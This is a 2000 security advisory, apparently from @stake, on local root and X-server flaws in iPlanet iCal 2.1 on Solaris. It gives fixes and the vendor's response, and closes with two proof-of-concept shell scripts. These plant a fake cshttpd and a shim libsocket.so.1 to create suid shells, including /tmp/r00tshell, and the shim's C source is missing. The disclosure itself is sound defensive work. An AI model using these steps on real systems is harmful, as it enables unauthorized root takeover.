||Home : Advisories : Multiple Vulnerabilities in iCal 2.1|
||Multiple Vulnerabilities in iCal 2.1
||9th October 2000
-----BEGIN PGP SIGNED MESSAGE-----
Advisory Name: Multiple Vulnerabilities in iCal 2.1
Release Date: 10/09/2000
Application: iPlanet's iCal version 2.1 Patch 2
Platform: Solaris 2.6
Severity: Local attacker can obtain root access
Author: Silicosis [email@example.com]
Vendor Status: Vendor has patch available
iPlanet's iCal, a multiplatform calendaring server, introduces a
number of vulnerabilities to the system in which it is installed on.
These vulnerabilities, ranging from poor file permissions to insecure
programming practices allow local attackers to obtain root access, and
remote attackers to monitor keystrokes.
During the software installation process, two of the
vulnerabilities are introduced to the system. The first vulnerability,
involves removing any access control mechanisms placed on the server's
X-server. The second involves poor file permissions on the installed
software, allowing local users to modify or replace shell scripts that
will be executed by the root user.
Two more vulnerabilities exists in a suid-root binary, 'csstart'
that is executed upon startup. Due to insecure programming practices, it
is possible for a local user to elevate their privileges, and then use
this access to obtain root privileges.
The first vulnerability, involves using a GUI to install the iCal
software, which is the default method. Although a second method exists, a
command line only method which prevents this vulnerability, it is not
mentioned in the documentation contained within the distribution tarfile.
When performing an installation using a GUI, the setup script
executes 'xhost -' on the system, which removes all access control to the
system's X server. Without access control in place, external attackers
can then connect to the X server and monitor keystrokes and obtain screen
images using common, publicly available, tools. This vulnerability can be
avoided by executing the installation script with the '-nodisplay' option.
The second vulnerability involves installed files that contain
poor file permissions. After installation, a total of 289 files exist
with world-writable permission. Of these world writable files, the
following is executed by root during system boot-up and shutdown:
-rwxrwxrwx 1 icsuser icsgroup /opt/SUNWicsrv/cal/bin/iplncal.sh
On Solaris, /etc/rc3.d/S94sunwicsrv executes /etc/iplncal.sh, a
symlink pointing to /opt/SUNWicsrv/cal/bin/iplncal.sh. Due to the
world-writable file permissions, normal users on the system have access to
modify this file and insert or delete commands that will be executed by
root every time the system is started or stopped.
In order to prevent users from modifying this file, administrators
should first remove the world-writable bit, and change the ownership of
the file to root. Administrators should also change the ownership of the
'/opt/SUNWicsrv/cal/bin' directory to root to protect against this attack
when used in conjunction with the next vulnerability.
The third vulnerability involves a suid-root binary that is also
used in the startup/shutdown process. The file,
/opt/SUNWicsrv/cal/bin/csstart, contains a programming flaw that enables
local users to execute commands as the "icsuser" user. Although the file
is suid-root, the program drops its user-id to "icsuser" before we exploit
The flaw revolves around the fact that the program blindly
executes the "cshttpd" web daemon out of the current directory. To
exploit this, simply create a shell script called 'cshttpd' in your
current directory and execute the csstart program. Any commands placed in
this script will be executed with the icsusers' effective user-id. By
compromising the icsuser we can now create and modify files within the
iCal installation directories. Using this access we can compromise the
Running the csstart program as root, and trussing it, we note the
forth vulnerability; one of the first things the program tries to do as
root is to open a number of libraries in a number of places, if it cannot
find the libraries it fails over and uses the system libraries:
7703: open("./libsocket.so.1", O_RDONLY) Err#2 ENOENT
7703: open("../lib/libsocket.so.1", O_RDONLY) Err#2 ENOENT
7703: open("/usr/lib/libsocket.so.1", O_RDONLY) = 4
7703: open("./libnsl.so.1", O_RDONLY) Err#2 ENOENT
7703: open("../lib/libnsl.so.1", O_RDONLY) Err#2 ENOENT
7703: open("/usr/lib/libnsl.so.1", O_RDONLY) = 4
Because the default permissions on the installation directories
have everything owned by the icsuser, we can place a shim library that
will be loaded before the real library. This shim library will contain
modified functions which will execute commands of our choice, as root, the
next time the daemon is started. Proof of concept tools have been created
to do just this, and are provided below.
In order to protect against the first vulnerability, install the
iCal service using the command-line only method. This involves running
the installation script with the '-nodisplay' argument. If iCal was
already installed on a system that is running an X-server, Administrators
should check the status of the access control mechanisms by running the
"xhost" command. Access control should be enabled, not disabled. More
information about the '-nodisplay' argument can be found within the online
documentation at http://www.iPlanet.com.
To protect against the second and third vulnerabilities,
Administrators are advised to change the ownership of the
/opt/SUNWicsrv/cal/bin/ directory to that of root. Administrators should
also change the ownership of any file that will be executed as root during
the startup or shutdown process.
We contacted Netscape via email and they were very responsive to
our findings. The following is a description of how they have fixed the
iPlanet Calendar Server (iCS) Support greatly appreciates these
issues being brought to our attention. We are happy to report that these
issues do not occur in our impending release of the iPlanet Calendar
Server 5.0 product. For the iCS 2.1 product, an immediate Hotfix is
available through the iPlanet Support Channel and will be bundled with the
iCS 2.1 Patch-04 Release.
Because of the Web Based Architecture for the iPlanet Calendar Server, the
exposure to existing customers appear to be minimal through the design of
limited HTTP access to the server, or common network security practices.
iPlanet Calendar Server users are not granted login access to the Server
Host by default, and login access to the Server Host would be required to
exploit any of these potential issues.
1. X Server access control disabled during install.
The install process has been changed so that the system will post a
message about utilizing the '-nodisplay' flag rather than attempting to
gain access to the X Server directly.
2. Poor File Permissions. Unfortunately, a number of text data files were
installed with world-writeable permissions. While they do not pose a
functional threat, they have been secured to prevent tampering. The file
permissions and ownership have been set accordingly. The permissions on
the shell script file iplncal.sh have been changed to prevent unprivileged
user access, should the user gain login shell access to the iPlanet
3. Set uid root binary, csstart, behavior. The csstart program has been
revised to explicitly execute the iPlanet Calendar Server cshttpd daemon.
Further security measures were also added to enforce that the correct
iPlanet Calendar Server Libraries are utilized rather than possible user
substituted routines. These changes along with the packaged file ownership
and permission changes make a stronger csstart and cshttpd, secured
against the concerns expressed.
Proof of Concept Tools:
There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.
# Simple proof of concept exploit used to obtain icsuser shell.
cat > cshttpd << FOOFOO
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
ls -al ./icsuser
# Simple iCal exploit. Become icsuser by running the shell created with
# obtain-ics.sh script, and then run this shell script. The next time that
# service is started by root (ie. system reboot), a root owned suid shell
# be created: /tmp/r00tshell.
#Create the shim library..
cat > libsushi.c << FOEFOE
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
#make sure script is executable; compile library & put in place..
chmod 755 $INSTDIR/cal/bin/icalroot
gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi libsushi.c
cp ./libsushi $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
Copyright 2000 @stake, Inc. All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0
-----END PGP SIGNATURE-----